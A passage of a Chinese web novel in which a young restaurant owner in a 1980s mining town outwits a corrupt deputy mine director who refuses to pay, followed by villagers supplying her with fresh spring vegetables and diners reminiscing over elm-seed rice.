平时没人专门招惹他时,就已经是应激状态;这次贺明珠拿一桌杂碎宴讽刺他,汪副矿长现在是完全进入发狂模式了。 “你居然敢让我吃这些脏东西,你完了!你全家都完了!我要整死你们,你给我等着,你别想在一矿,不,别想在矿务局待下去!” 贺明珠一副被吓到的小表情,夸张地拍拍胸口。 “哎哟喂,汪副矿长,你说得真是让人吓死了呢。” 徐和平听了她这话,都忍不住侧目,非常无语。 还吓死了,看这家伙两眼发光的模样,吓到谁也不会吓到她好吧 贺明珠语气一变,说道:“不过呢,有件事我要更正,虽然这一桌是用内脏、豆渣、冬瓜皮做的菜,不过可都是干净又卫生,无毒无公害,完全符合食用标准,不是你说的什么‘脏东西’。各位放心,我很有厨师的职业操守,没在菜里加不该加的东西哦。” 闻言,与汪副矿长同桌吃饭的小领导们齐齐松了一口气。 还好还好,这家店的人还算有底线,虽然原材料用的膈应人,但东西是真好吃。 只要不去想什么小肚鸡肠黑心烂肺厚颜无耻之类的菜名,就可以假装吃的都是正经饭菜。 反正店长骂的是请客的汪副矿长,和他们这些陪客有什么关系呢呵呵呵呵…… 但汪副矿长丝毫没有被安慰到的样子,反而更暴怒了。 “还干净卫生?你这家店别想开了,准备交罚款交到死吧!你也别想活了,我要让公安抓你去劳改,去蹲监狱,你这辈子都别想出来了!” 贺明珠无所畏惧:“你当自己是谁啊,又是罚款又是公安的,政府是你家开的啊?汪副矿长,差不多得了,见好就收吧,白吃了一顿饭回家偷偷乐去吧,在这儿撒什么泼呢。” 这话说得跟哄小孩似的敷衍,带着股混不吝的劲儿。 一边是气得胖脸爆红,呼哧带喘,肉脑袋上青筋根根迸开;另一边则是风轻云淡,说话语调都没提高一寸,闲闲说出扎心窝子的话。 屏风外的围观群众们这会儿都屏气凝神,竖着耳朵听里面发生了什么。 但贺明珠的声音轻柔,听不清具体说了些什么,只听出来她态度还挺好的,温温柔柔,一副息事宁人的模样。 而另一边的汪副矿长就正好相反,声音高亢暴躁,说话粗鲁,指着鼻子威胁人家小姑娘,光天化日的就说要整死人家。 加上他这个人一贯行为不端,一看就是挂账不成来故意找事儿,群众们心中的天平自然而然就朝贺明珠的这一头倾斜过去。 再说了,谁不知道煤矿人家的饭一向是做得干净又好吃,厨房墙上还特意开了窗,客人们透过玻璃就能将里面的情况看得一清二楚。 有人就喜欢这种敞亮的饭店,专门挑靠近厨房窗户的桌子坐,一抬眼就能看到里面厨师在忙活,手脚干净,做事麻利,看得还有些上瘾。 汪副矿长说贺明珠给他吃的是脏东西,今天来吃饭的客人们是第一个不信的。 不说别的,这一桌宴席的制作过程可都是在大家伙眼皮子底下,肉是干净的,菜是干净的,连端菜的盘子都是干净的,哪有脏东西? 而且一道道菜的香味从厨房散出来,一时鲜辣,一时酸香,一时又是肉被煎烤后焦香扑鼻的味道,馋的他们比平时还多吃了一碗饭。 这会儿,所有人都觉得汪副矿长这个人的老毛病又犯了,文g早都结束了,他还拿以前那一套要整人,几乎是立刻就激起了众怒。 汪副矿长不知道群众心中所想,他只觉满腔怒火,烧得他眼睛都是红的,呼哧呼哧直喘气。 “我要整死你,我要整死你全家!”他只会反反复复说这一句了。 贺明珠只轻飘飘地回了一句: “汪副矿长,你只是心理上过不去,毕竟谁能轻松接受自己其实只是个杂碎呢?不过没关系,迈过这道坎,你就是堂堂正正的杂碎了。” 这话说得刻薄又逗趣,饭桌是竟然有人忍不住,嗤地笑出了声, 汪副矿长脑子里的弦“嗡”地一下就断了,几乎是歇斯底里地在吼: “我看你是忘了我是谁,老子现在就要弄死你!” 光吼还不够,他拿起桌子上的盘子,“啪”地重重摔碎在地,接着又拿起一个盘子,朝着贺明珠砸了过去! 隔间中一瞬间乱了起来。 听到碎瓷的声音,一直在隔间门口守着的贺明军立刻就要冲进去,但有人比他速度更快。 “住 手!” 是老矿长。 他是张副矿长邀请来吃饭的,说年前慰问的那家父母都牺牲了的摆摊小姑娘,现在开了一家饭店,就是原来的三产饭店,现在改名叫煤矿人家,饭菜好吃,生意特别好。 老矿长早就听说了西煤矿务局的人在去煤矿人家吃过饭后,态度一百八十度大转弯,也不说一矿请客人吃卤耗子了,现在说的都是一矿伙食水平太好了,吃得让人简直乐不思蜀。 老矿长听了感觉与有荣焉,对这家小饭店更好奇了。 正好张副矿长来邀请,两人便在中午同行去煤矿人家吃一顿便饭。 老矿长一向节俭,就只点了一道菜,一个杂粮馒头。 他年纪大,消化不好,服务员给他推荐了补血益气的爆炒猪肝。上菜后,还送了一碟凉拌土豆丝,和一碗冬瓜汤。 老矿长看看周围,见其他客人桌上都被送了一碟凉菜和一碗热汤,这才放心地吃了起来。 猪肝爽滑脆口,鲜嫩香滑,少少放的一点辣椒刚好开胃,又不至于辣的让人吃不下饭;土豆丝切得极细,酸脆可口,不够吃还可以再夹;冬瓜汤清淡鲜美,清热祛湿,刚好抚平因春躁内热的身体。 只是没想到,前面吃的还好好的,要结账时,店内却出现了这样的乱子。 老矿长进到屏风后的小隔间,盘子险险擦过他的耳旁,砸在他旁边的墙上,碎瓷飞溅。 隔间内乱极了,徐和平拎着凳子,护在贺明珠身前,汪副矿长举着盘子,还要冲贺明珠砸。 小领导们有的去拉汪副矿长,有的下意识往后躲,还有的没反应过来,吃惊地看着面前发生的一切。 老矿长几步上前,伸手去夺汪副矿长手中的盘子,怒道: “你这是在干什么?住手!” 见是老矿长,汪副矿长下意识松手,盘子砸到了地上。 哐啷一声,满地的碎瓷片。 张副矿长跟在老矿长身后也走了进来。 贺明珠不动声色地和张副矿长对视一眼,下一秒,两人若无其事地挪开视线。 “这是怎么了?怎么打起来了?”张副矿长故作惊讶地说。 “老汪,你怎么能对小姑娘动手?这会儿可不是文g了,依法治国,你不能随便打人!” 仇人相见分外眼红,汪副矿长见了张副矿长,原本稍微平复些的情绪,立刻又激动起来。 “你算老几!要你来这儿做好人!我知道了,这饭店就是和你一伙儿的!你把房子租给他们,故意给我下套!” 听了这话,张副矿长急忙连连摆手: “可不兴这么说,可不兴这么说啊!老汪,我看你又犯老毛病了,随随便便给人扣帽子!人家好好做着生意,和我有什么关系?这租房的事是领导班子一致同意的,租金也是直接付到矿上,你别血口喷人!” 汪副矿长火气上涌,指着张副矿长鼻子就骂:“你装什么好人?要是没拿好处,你会把三产的房子租给这小娘皮?!” 要不怎么说最了解你的人永远是你的敌人呢,汪副矿长以己度人,一猜一个准。 张副矿长坚决不认账,汪副矿长口中脏话不断,上到祖宗十八代,下到子孙后代,直骂得张副矿长脸色青黑。 “姓张的,我和你没完!” 老矿长喝道:“够了!” 张副矿长故作委屈:“矿长,你看看他,老汪怎么就老拿文g那一套来对付同志啊……” 老矿长不理张副矿长这杯陈年老绿茶,转而问贺明珠: “小姑娘,你说,这是怎么回事儿?” 贺明珠从徐和平身后出来,细声细气地说: “这位领导让人来店里定宴席,但不肯付订金,说要打白条。可我们店一向是不挂账的,他就找机关的人来整我们,三天两头来罚款。我们做小生意的没办法,就只好同意。可是他今天来吃了饭,又说我们的菜是脏东西,闹事骂人,我气不过,回了几句嘴,他就开始砸盘子了。” 贺明珠的话很有语言艺术,说的都是真的,可又不全是真的。 打白条是真的,罚款是真的,闹事骂人是真的,砸盘子也是真的。 老矿长在外面听见了全程,虽然具体内容听得不是特别清楚,但大体情况似乎就如小姑娘所说。 他以前没见过开放式厨房,选座位时特地挑了厨房窗户正对面的位置,将做菜过程看得一清二楚。 这家店别看是个体户开的,规模也小,但老板是真讲究,菜和肉都是最新鲜的,厨房也是干干净净的,比国营饭店的卫生条件都好。 再看看隔间内桌上的盘子,每道菜都被吃到光盘,连一根剩菜都没有。 要是菜不好吃,汪副矿长他们会把菜吃这么干净吗? 老矿长又问贺明珠:“这顿饭花了多少钱?” 贺明珠答道:“只花了三块一毛七呢。” “哦?” 这么便宜?改革开放就像打开了窗户,新鲜空气进来了,苍蝇也进来了。 香风毒雾侵蚀了曾经正直的同志,现在哪顿公款吃喝不得花掉几十甚至上百块钱? 一桌宴席只花了三块一毛七分钱,听起来简直像是天方夜谭。 老矿长有些不相信,追问道:“为什么会这么便宜?” 贺明珠老老实实地说:“因为汪副矿长要打白条,不肯付钱,但我们小本生意,经不起这么白吃白喝,所以我用的都是便宜的原材料。不算工费、只算成本的话,确实只用了这么多。” 汪副矿长看不惯她在老矿长面前装乖,跳着脚地骂:“你敢说你都给我们吃了什么?” 贺明珠一扬眉:“有什么不敢。” 她掰着手指列举:“猪小肚包卤鸡肠,爆辣肥肠,煎猪心猪肺,棒骨,扣肉,豆腐渣炒酸菜,清炒冬瓜皮,还有猪皮炖萝卜。” 汪副矿长向老矿长告状:“您听听,您听听,她都上的什么菜!豆腐渣冬瓜皮这种垃圾都用上了!” 老矿长听着贺明珠报菜名,不但没觉得这些菜不好,反而还有点被勾起了腹中馋虫。 他瞪一眼汪副矿长:“这菜哪里不好?我看都很好!以前人们没饭吃,连草根树皮都要抢着吃,现在好端端的饭你倒嫌弃上了!” 汪副矿长一听不对,老矿长是建国前出生,在旧社会受过罪,赶紧又说: “是是是,菜是好,但您不知道她都给那些菜起的什么名!” 他记性倒好,把贺明珠报的菜名一一列举出来: “小肚鸡肠,蛇蝎心肠,黑心烂肺,敲骨吸髓,厚颜无耻——矿长,就这菜名,您说,这不是成心骂人吗?!” 张副矿长一个没憋住,噗嗤笑出了声。 汪副矿长恨恨地拿眼睛剜他,转眼瞥见老矿长脸上也露出了笑意。 这个小姑娘,也太促狭了些。 但这菜名起得,可还真是够别致的。 老矿长清了清嗓子,努力把笑意压回去。 “她是不对,但你也有错!一是不该强行挂账,二是不该找人罚款,三是不该闹事打人!如果今天我不在的话,你是不是就要把这饭店闹个天翻地覆?!” 对着老矿长,汪副矿长不敢顶嘴。他已经没了前些年革|委会的权势,但也不愿当着众人的面低头认错,低低哼了一声,不说话。 老矿长也没想着能几句话就说得汪副矿长痛改前非,只是从口袋拿出钱交给贺明珠。 “今天的账,我替他们结了。这个事就这么过去吧,以后谁也不许再提了。汪副矿长不许再为难饭店,你们也不能再招惹他,大家各退一步。” 徐和平觉得处理结果不公平,不服气道:“凭什么要我们也退一步?明明是他们先挑的事,我们只是反击而已!” 老矿长火眼金睛,一口道破: “汪副矿长是有错在先,但你们难道就都对吗?如果不是你们故意激化矛盾,事情也不会变成现在这个样子。” 姜还是老的辣,老矿长一眼就看穿贺明珠的小心机,故意将他引来煤矿人家,又故意将事情闹大,让他不得不出面平息事端。 贺明珠冲老矿长笑笑,一点也看不出被人看破的不安,反而说道: “老矿长,您今天能替汪副矿长付账,可是难道您能留在饭店,天天替一矿的各位领导付钱吗?只要挂账的问题一天不解决,就会有下一个汪副矿长,再下一个……直到把煤矿人家吃垮为止。” 在座的小领导们脸上都露出尴尬的表情。 这说得不就是他们嘛,可要是不挂账,谁舍得自掏腰包来饭店吃大餐呢? 公家的钱不花白不花,公家的权不用白不用。毕竟有权不用,过期作废啊。 然而,老矿长是位真正的共产主义战士,在歪风邪气中仍然能保留正直清廉的本心。 就像是唐吉坷德,即使徒 劳无功,也要一次又一次地向着风车冲锋。 听了贺明珠的话,老矿长沉吟半响,道:“我会召集领导班子开会,下发一份禁止挂账的文件。” 有了这句话,贺明珠放心多了。 也算是不枉她连夜绞尽脑汁想出这一堆骂人的菜名,还用厨房现有食材搭配出相应的菜谱。 要知道骂人不难,做菜也不难,可要将骂人和做菜结合起来,那可就有点难了。 汪副矿长垮下脸,这下他的计划是全用不上了。 看来,这个煤矿人家他一时是弄不垮了。 不过,他阴狠地看向贺明珠,这个小娘皮他是整定了。 明的来不了,还来不了暗的吗? 有本事,她一辈子都别一个人出门。但只要她落了单…… 当汪副矿长正在畅想时,忽然一行人来到煤矿人家,在前厅扬声问道:“汪财在吗?” 听有人喊他的名字,汪副矿长下意识回了一句:“谁找我?” 带头的男人走到隔间,确认汪副矿长身份后,大手一挥:“把他带走!” 汪副矿长被两个人按住胳膊,挣扎地喊:“你们是谁?为什么抓我?” 在场一矿众人也很惊讶,小领导们围住了人,不让他们带走汪副矿长。 带头人拿出工作证在众人面前展示。 “我们是纪|委的,接到群众举报,汪财涉嫌贪污犯罪,破坏国家经济建设,严重违纪,需要接受组织审查!” 一听是纪|委的,汪副矿长两腿一软,直往地上瘫,要不是被纪委的人抓着胳膊,只怕就要软在地上起不来了。 小领导们先是蒙了,反应过来就立刻跳开,离汪副矿长远远的,恨不能马上与他撇清关系。 “纪|委同志,我可和他没关系!” “同志,我要举报!汪财贪污受贿,行为不端,在单位私设小金库,是社会主义的蛀虫!” “对对对,同志,我也要举报!” “我也举报,我也举报!” 原本殷切奉承的小领导们现在集体反水,汪副矿长人都傻了,颤抖着手指,指向他们:“你,你……” 他今天情绪蹦极般疯狂上下起伏,先是大喜,接着大怒,现在大惊,极度的恐惧和绝望袭来。 汪副矿长抖着嘴唇,说不出话来。 下一刻,他眼睛一翻,整个人厥了过去。 小领导们丝毫不念旧情,立刻就喊:“纪|委同志,他在装晕,别信他!” “对,他这是假装的!” 还有人捡了块地上的碎瓷片去扎汪副矿长的手指。 “疼了就知道醒了,他以前都是这么对被批斗同志的……” 汪副矿长被扎得十根指头齐齐出血,仍然不省人事。 还是纪|委同志先觉察出不对:“不好,他是脑梗了!快去叫救护车!” 饭店一片混乱,人仰马翻。 汪副矿长被纪|委带走,老矿长和张副矿长面色严肃,顾不上多说,急忙回了办公室, 接下来,一矿的领导层要迎来一场暴风雨了。 安静下来后,贺明军朝贺明珠竖起大拇指:“妹,你可真行。” 徐和平这才反应过来:“是你举报的?” 贺明珠笑眯眯地说:“我一个遵纪守法的好公民,当然要选择相信国家相信党,这有什么好奇怪的。” “那个汪副矿长不知道,为了打白条,他到底得罪了什么人。” 徐和平摇摇头,怪腔怪调来一句:“唯有小人与女子难养也~” 贺明珠呲他:“知道还这么多话?怎么着,你也想试一试?” 徐和平一缩脖子,拎着抹布收拾残局去了。 饭店人多嘴杂,不知怎么地,汪副矿长这件事传来传去就成了—— “有人想在煤矿人家白吃白喝,结果被公安抓走坐牢去了!” 这下,煤矿人家连偶尔赖账的人都没有了。 第73章 第73章春天就该吃春菜 立春后,天气一日暖过一日,眼见着原本光秃秃的田地上星星点点冒出了绿。 自从实施家庭联产承包责任制后,农民的生产积极性被调动起来,不待天气彻底入春,早早就到各自承包的地头侍弄田地去了。 许家村里,许大舅家里人来人往。 村人扛着一袋子土豆萝卜进去,拿着一叠钞票出来,每个人都高高兴兴,被泥土填满了沟壑的脸上笑得舒展。 “红梅的闺女就是有出息,开个饭店都厉害!” “那可不,也不看看是谁家的闺女,老许家的能差了吗?” “要我说,还是这孩子有良心,记挂乡亲,啥时候也想着拉俺们这些老农民一把。” “是啊是啊……” 红梅是贺母的名字,她本名是许红梅,村人说起贺明珠来,喊的就是红梅闺女。 夸的是自家外甥女,许大舅露出一脸与有荣焉的表情。 他正秤着村人送来的土豆,一手挑着秤杆,一手调整秤砣,待两边平衡后报出重量,让许巧燕记在本子上,计算要付的钱。 许大舅手准,从不缺斤短两,有时还会凑个整,宁可自己吃亏,也绝不占别人便宜。 村人们对他很放心,一边闲磕牙,一边等着许巧燕算出钱后,从钱箱子里拿钱给他们。 因为有这笔卖土豆的额外收入,他们在开春时不用再发愁孩子的学费和老人医药费,手头上宽裕多了,也舍得吃一吃自家鸡下的蛋,而不是全拿到城里去卖。 要知道,往年春天,虽然万物复苏生机勃勃,但农民们心里却是慌的。 小麦才刚种下去,仓库里去年打下的粮食消耗了大半。 正是青黄不接的时候,要吃上好几个月的土豆红薯,直吃得人烧心反胃。 有的人就吃伤了,等后面生活条件变好了,几十年都不愿意再碰一下土豆红薯。 春天也意味着开学,这会儿虽然是义务教育,但该交的学费书本费也不能少。 要是孩子在县里上学的话,因为没粮票,还要给他准备上一个月的粮食带到学校食堂。 可这会儿,种子肥料农药也要花钱去买,不能误了农时,手里的钢镚真是恨不能一个掰成两个使。 幸好许家的外孙女是个好的,在城里开了饭店不说,还让她大舅在村里收土豆萝卜大白菜——这些东西家家户户的地窖里都存了一大堆,最不缺的就是这。 这种好事可遇不可求啊,村人们迫不及待就把自家的东西一麻袋一麻袋往许家搬。 要不是许大舅一个劲说家里堆不下了,说等他往城里送了货再接着收,只怕许家的炕头上都得堆满了土豆萝卜。 村人们挣上了钱,心里有底气,脸上的笑也多了,村里气氛一片祥和。 许家一跃成为本村最受欢迎家庭,经常有老太太抓着一把瓜子花生找许姥姥摸纸牌,许姥爷则在自家院里和一群老头下棋。 就连许巧燕,也有人找上门来给她介绍对象。 不过她忙着做粉条,加上记挂着女儿灵灵,在再婚的事情上没松口,倒让不少未婚的小伙子遗憾不已,扼腕叹息。 表哥表嫂这一对小夫妻也老实多了,一个天天跟着亲爹收土豆送土豆,一个则是和许巧燕做粉条,每个月能拿十块钱呢。 有了好日子的奔头,谁还为了抢那仨瓜俩枣,在家里没事找事、摔摔打打啊? 家和万事兴,许大舅心情好,天天脸上挂着笑,说话语调也轻快,眼见着整个人年轻了好几岁,几百斤的土豆也扛得动。 许大舅收完今天的土豆,锁起钱箱子,收起账本和秤。 院子里的人还没走,有人问许大舅: “哎,四叔,你看能不能跟你外甥女说说,除了土豆萝卜白菜,能不能也收点别的?” 其他人附和:“是啊,也不能只收土豆,收点其他菜吧。” “饭店哪能光给客人吃土豆,那不得换个花样啊,不然客人都要吃腻了。” 许大舅不乐意听这话,争辩道:“那哪能吃腻,俺们明珠做饭可好吃呢,饭店天 天都是满的,矿上的人都是抢着吃。” 村人惊道:“哦哟,矿务局的人就是有钱,天天都去饭店吃饭,那得花多少钱啊?” “你傻啊,人家是工人,挣的是工资,那哪能没钱,你以为都跟俺们这群老农民似的,兜里连个毛票都摸不出啊。” “挣工资的就是比在地里刨食强,俺也得让俺家二小子好好学习,将来考学分配到城里上班。” 村人们啧啧称奇,想象着每月都有工资领的国企工人,下了班就去饭店点菜,根本不需要回家开火,每天都吃现成的。 大伙儿是越想越羡慕。 有粮票,有工资,单位给分房,还有劳保可以领,这日子过得也太舒服了吧! 眼见村人的思维都发散到十万八千里了,最初提议的人努力将话题拉回正规。 “矿务局人有钱,又舍得在吃上花钱,四叔,你和明珠说说,再收点其他菜呗。” 许大舅说:“这俺可说了不算,得看明珠的意思。” 那人追问:“四叔,你啥时候去问她?要不俺和你一起去?” 许大舅想了想,说:“也成,俺后天去城里,你早起过来,赶上驴车一起走。” 两天后,许大舅带着新收的土豆和做好晾干的粉条,来到了位于一矿的煤矿人家。 和他同来的是许贵生,许家隔房的侄子,与表哥同龄,年轻力壮,是伺候庄稼的一把好手。 许家村是个自然村,村民大多来自同一宗族,彼此之间有着千丝万缕的血缘关系。在这个村里,许是大姓,还有一些刘李赵之类的小姓。 贺明珠以前经常去村里玩,交了不少小朋友,其中就有许贵生的妹妹,还从许贵生家抱走过一只刚满月的小奶猫。 因此,看到许贵生,她并不陌生,招呼道:“贵生哥,你怎么来了?” 许贵生刚帮许大舅卸完货,这会儿许大舅熟门熟路地从后厨打了一桶水,拿上丢弃的菜叶子去喂驴了。 没人带着,他又是头一次来,浑身都是脏兮兮的,拘谨地站在门外。 听到贺明珠的话,许贵生搓着手,有点不好意思地说:“俺找你有点事儿……” 贺明珠把人让进饭店:“贵生哥,先进来说。” 许贵生站在门口,想了想,拍拍身上的土,又磕了磕鞋子上的泥,这才走进了煤矿人家。 贺明军去肉联厂拉骨头了,店里徐和平刚拖完地,见一个脏兮兮的农民进来,一踩一个脏脚印,眉毛一下就竖起来。 “哎,哎!” 许贵生立刻停下,不知所措地站在原地。 “你把我刚拖的地都踩脏了!” 许贵生很少离开村里,闻言就不安地蹲下来,要拿袖子抹掉地上的脚印。 徐和平反而有些惊讶,没见过这么实诚的人。 他连忙把拖把塞对方手里,指点道:“用这个。” 许贵生还真拿着拖把擦起脚印来。 贺明珠走过来拍了一下徐和平:“你够了啊,这是客人,有你这么欺负客人的吗?当心我扣你工资。” 徐和平嬉皮笑脸地说:“开个玩笑,就开个玩笑……” 他抢走许贵生手里的拖把,将人让到座位上,又给倒了杯凉白开,这才算完。 贺明珠坐在许贵生对面,开门见山地问:“贵生哥,你是有什么事要找我吗?” 许贵生挺不好意思地说:“俺想问问,除了土豆萝卜,能不能收点别的菜?” 他怕贺明珠拒绝,连忙列举起村里已经种下的蔬菜:“有韭菜、菠菜、油菜、茼蒿、芹菜、蒜薹……” 许贵生掰着指头数,贺明珠思索,而一旁竖着耳朵听的徐和平口水悄悄流出来。 这么多品种的蔬菜,能让小老板做出多少好吃的菜啊…… 许贵生把榆树钱香椿婆婆丁这些野菜都列了出来,实在数不出更多的菜,眼巴巴地盯着贺明珠。 贺明珠也没让他失望,干脆地说:“收,我都收。” 国营菜场的服务态度是越来越差了,饶是以贺明珠的好脾气,好几次都差点呛声起来。 有时候菜架上明明摆着菜,售货员偏偏不卖,问就是别人买完了暂存的。 可贺明珠明明看到来取菜的那人是现掏的钱和票,压根就不是什么买完暂存。 还有几次,售货员递过来的菜烂了小一半,还不给换,不买就走人。 气得贺明珠差点当场和人吵起来。 而且因为饭店生意好,蔬菜采购量日益增加,但每月发放的居民菜票是有限的,贺明珠不得不加价和其他人换菜票,极大的增加了饭店的运营成本。 这年头买菜比买奢侈品都困难,她也是受够了。 即使许贵生没有提起,贺明珠也打算和许大舅谈一下在村里收菜的事。 做饭店生意的,采购是件大事,不管是考虑到菜品质量,还是考虑到成本问题,总要想办法把渠道握在自己手里才行。 只是现在条件还不成熟,但贺明珠心里已经有了谋算。 听到贺明珠同意收菜,许贵生高兴得要跳起来,可又听到贺明珠说: “但蔬菜和土豆萝卜不一样,讲究一个新鲜,不能像现在似的,半个月送一次货,至少也要三天送一次。但村里离矿上远,每三天送一次的话,大舅年纪大,太累了,我怕他身体受不住。” 许贵生忙说:“俺送,俺送!” 他说:“俺替四叔跑腿,菜还是四叔收,钱也照旧是四叔管,俺就替他把菜送到矿上。” 贺明珠故意问道:“贵生哥,那你什么好处都拿不到,就白干啊?” 听了这话,徐和平侧目,小老板又调皮了。 许贵生憨厚地笑道:“这哪是白干呢,要不是有你和四叔,俺们村的菜只能白放着,卖也卖不出去。再说了,俺年轻,有的是力气,送个菜能有啥累的。” 贺明珠说:“行,就这么干。贵生哥,从这周起,你每三天往矿上送一次菜,不拘种类,只要最新鲜的时令菜。” 许贵生响亮地应了一声,黝黑的脸膛高兴得满面红光。 这下好了,村里又多了一条挣钱的路,回去就让大伙儿把沟沟壑壑的地方都利用起来。 大块的土地用来种粮食,这种小块的地正好用来种菜。 只要大伙儿勤劳肯干,何愁没有顿顿吃干饭、天天都吃肉的时候呢? 许大舅喂完驴从外面回来,以为许贵生还没和贺明珠说,张口道:“明珠啊,贵生他想……” 许贵生太高兴了,打断了许大舅的话:“四叔,明珠同意了!俺现在就回村去收菜,下午就送过来!” 话音未落,他就要出门去赶驴车。 许大舅急忙追上去,心疼道:“明天再送,明天再送!” 许贵生以为许大舅是心疼他又要跑一趟,忙说:“四叔,俺不累!” 许大舅直跺脚:“你不休息,俺们驴也要休息啊!” 驴休息的怎么样不知道,第二天,许贵生就送来了三大筐的新鲜蔬菜。 贺明珠一看,有韭菜、芹菜、菠菜,还有榆树钱和香椿。 后两个是半卖半送,许贵生说是给贺明珠尝个新鲜,城里人见得少,尝尝乡下的野菜。 贺明珠想了想,把前厅写着菜单的小黑板擦干净了,换上了新菜单。 赵计划和刘爱民下班来煤矿人家搓一顿,第一眼就看到了小黑板上的新菜。 “韭菜盒子,榆钱饭,菠菜鸡蛋糕……” 赵计划念出了声,有点犹豫:“这榆钱饭是什么?我好像没吃过啊……” 刘爱民吃过,说:“就榆树叶子做的,省粮食的菜。” 赵计划果断道:“那我不吃,谁吃树 叶子啊。我还是点炒猪肝吧,连着吃了几顿,我晚上不开灯都看得清了。” 猪肝富含维生素A,能够有效缓解因缺乏维生素A而导致的夜盲症。 赵计划还年轻,因营养不良和营养不均衡导致的夜盲症,在通过食物摄取维生素A后,效果是立竿见影的。 他本就喜欢猪肝脆口爽滑的滋味,此时发现还能改善他的夜盲症,就像是中了彩票一般惊喜,更喜欢来煤矿人家吃饭了。 刘爱民倒是想尝尝榆钱饭,小时候家里粮食不够,他妈经常带着他去郊区撸榆树上的嫩芽。 他爬到树上,顺着枝条一把一把往下撸榆钱,他妈妈就撑着袋子在下面捡。 最后母子俩带着一大袋的榆钱,高高兴兴走回了家, 刘妈做榆钱饭,刘爱民就蹲在灶台旁帮忙生火。等做好了,刘妈总把第一碗榆钱饭端给他吃。 这是刘爱民为数不多的关于母亲的温情记忆。 后来刘爱民的妈妈因过于频繁的生育而早早去世,家里再也没人做榆钱饭了,他也很多年没再尝过榆钱饭的味道了。 想到这儿,刘爱民点了一份榆钱饭。 赵计划见他点了新菜,犹豫了下,也点了个新菜菠菜鸡蛋糕。 鸡蛋糕他吃过,菠菜鸡蛋糕还是第一次听说,也不知道是什么味的。 店里人多没空位,赵计划和刘爱民等了一会儿才等到位置,等不及服务员收拾,他们俩急忙坐下,先把位置占了。 旁边是个中年男人,只点了一份韭菜盒子,珍惜地一口一口慢慢品尝。 刘爱民认出来,那不是上次在一矿门口,班组长们拦着矿工不让出去时,被年轻班长指着鼻子骂的中年人吗? 他没吱声,悄悄打量对方。 中年男人还是瘦,工装打着补丁,旁边的饭盒里装了一份咸菜,又打了一碗免费的汤。 刘爱民知道,矿上有些人会把发的新工装留给孩子穿,自己将就着穿旧衣服。反正人到中年,身材已经定型,旧衣能穿,就不要浪费新衣,大不了就补丁摞补丁。 就着咸菜热汤,中年男人有滋有味地吃着韭菜盒子。 韭菜是今年第一茬的春韭,又鲜又嫩,一咬全是汁,搭配着切成细丁的木耳和鸡蛋,韭香十足。 饼皮很薄,在锅里烙成了两面金黄,煎得又脆又香。 而韭菜鸡蛋馅儿汁水丰富,搭配上烤得略干的饼皮,正好互相弥补又互相配合。 饼香韭香蛋香交融,每一口都是享受,吃得人满足极了。 旁边看的人也忍不住馋了起来,口水在嘴里疯狂分泌,脑海中已经自动模拟出那一口的咸香。 一份韭菜盒子有五个,中年男人珍惜地吃了两张饼,又将例汤喝得干干净净。 接着他从随身挎包中拿出一张报纸,将剩下的三个韭菜盒子小心地包了起来,放进包里带走。 见中年男人走了,赵计划咕哝道:“才吃了两个韭菜盒子,这能吃饱吗?” 他又和刘爱民说:“我们也点一份韭菜盒子吧!” 刘爱民却说:“你自己点吧,我要单点一份。” 赵计划不解:“一份韭菜盒子有五个呢,你还点了榆钱饭和棒骨,能吃得了这么多吗?” 刘爱民不答,只说:“吃不了我还不能兜着走啊?” 赵计划嗤他一声:“随便你。” 刘爱民没说话,只是望着窗外中年男人骑车的背影越来越远。 赵计划点的菠菜鸡蛋糕先送上了桌。 菠菜鸡蛋糕被切成厚片放在盘中,淡黄色的糕体上嵌着碧绿的菠菜丝,精巧又细致,看起来简直像是一副春日小画。 他拿筷子夹起一片,好奇地左看右看,很慎重地放入口中。 才吃了一口,赵计划眼睛就是一亮 这道菜入口滑嫩,仿佛鸡蛋羹般柔软细滑,几乎不用嚼,顺着嗓子眼就往下滑。 但不像普通鸡蛋羹,里面还夹着细细的菠菜丝,有种菠菜特有的清香,将鸡蛋的腥味都压了下去。 菠菜鸡蛋糕的滋味清淡,鲜嫩爽口,正适合春躁时吃,每一口都抚平了身体因季节变动而带来的躁动不安。 赵计划吃得开怀,还主动招呼刘爱民:“尝尝,你也尝尝!” 刘爱民见他吃得香,不客气地夹了一块,品品味儿,说:“这家店厨师的手艺是越来越好了。” 没有蛋腥味,没有菠菜的涩味,只有一口春天的清爽自然,像一阵柔和微风。 这会儿,刘爱民点的榆钱饭也送上来了。 敞口大瓷碗里盛得满满当当,榆钱饭颜色碧绿,浇汁里的辣椒添了一抹鲜红。 赵计划伸着脖子瞅,狐疑道:“这树叶子能好吃?” 刘爱民不理他,拿筷子夹了一大口送入嘴中。 榆钱鲜嫩清甜,裹着一层薄薄的玉米面,拌上微辣的浇汁,吃起来就是记忆中最熟悉的味道。 榆钱多,面粉少,撒一点盐,上锅蒸得软烂,入口后让人想起春天,也让人想起妈妈还在的童年。 刘爱民大口大口地吃着榆钱饭,赵计划不明所以,也不敢出声,默默吃着他的菠菜鸡蛋糕。 旁边桌有人也点了榆钱饭,同桌的人嘲笑他:“什么年头了,还吃这玩意儿,不知道的还以为你们家吃不起饭呢。” 点菜的人却说:“你不懂,这榆钱饭是穷人的救命粮,我这一条命可都是榆钱救下来的。” 旁边有人附和道:“就是,现在谁吃不起饭啊?吃榆钱饭属于忆苦思甜,回忆过去,展望将来。” 有人反驳:“这榆钱饭也不苦啊,甜滋滋的,挺好吃。” 还有人说:“鱼生火,肉生痰,这年头大家伙儿生活条件好了,也不能顿顿吃肉,得吃点榆钱饭下下火嘛。” 赵计划竖着耳朵听着,下意识觉得这些人吃榆钱饭的理由和刘爱民的应该不同。 但不同在哪儿呢?他想不出来。 吃完了饭,刘爱民打包一份韭菜盒子,和赵计划分别后各回各家。 他到老屋找到父亲,对方正在擦拭母亲的遗像,擦干净了,又看看挂在墙上摆得正不正。 刘爱民喊一声:“爸。” 刘老头转过身,看到是儿子,惊讶道:“你今天怎么上我这儿了?” 平时刘爱民不乐意回家,都是拖到晚上要关灯睡觉了才回来,他有好一段时间没见过这个儿子了。 刘爱民不说话,从包里掏出韭菜盒子,找了个干净盘子,给亲妈上供了三个,剩下的两个,他和刘老头一人一个。 刘老头咬一口,说:“这韭菜盒子做的好,有你妈的几分手艺了,不过不如你妈做的好,你妈那手艺啊……” 刘老头讲起古来那是滔滔不绝,一言难尽。 搁在平常,刘爱民早就撒丫子跑路了,今天却难得,吃完了韭菜盒子还留着不走。 刘老头都稀奇了:“你今天这是怎么了?手里没钱了?” 刘爱民说:“没事儿,我就是吃到榆钱饭,想起我妈了。” 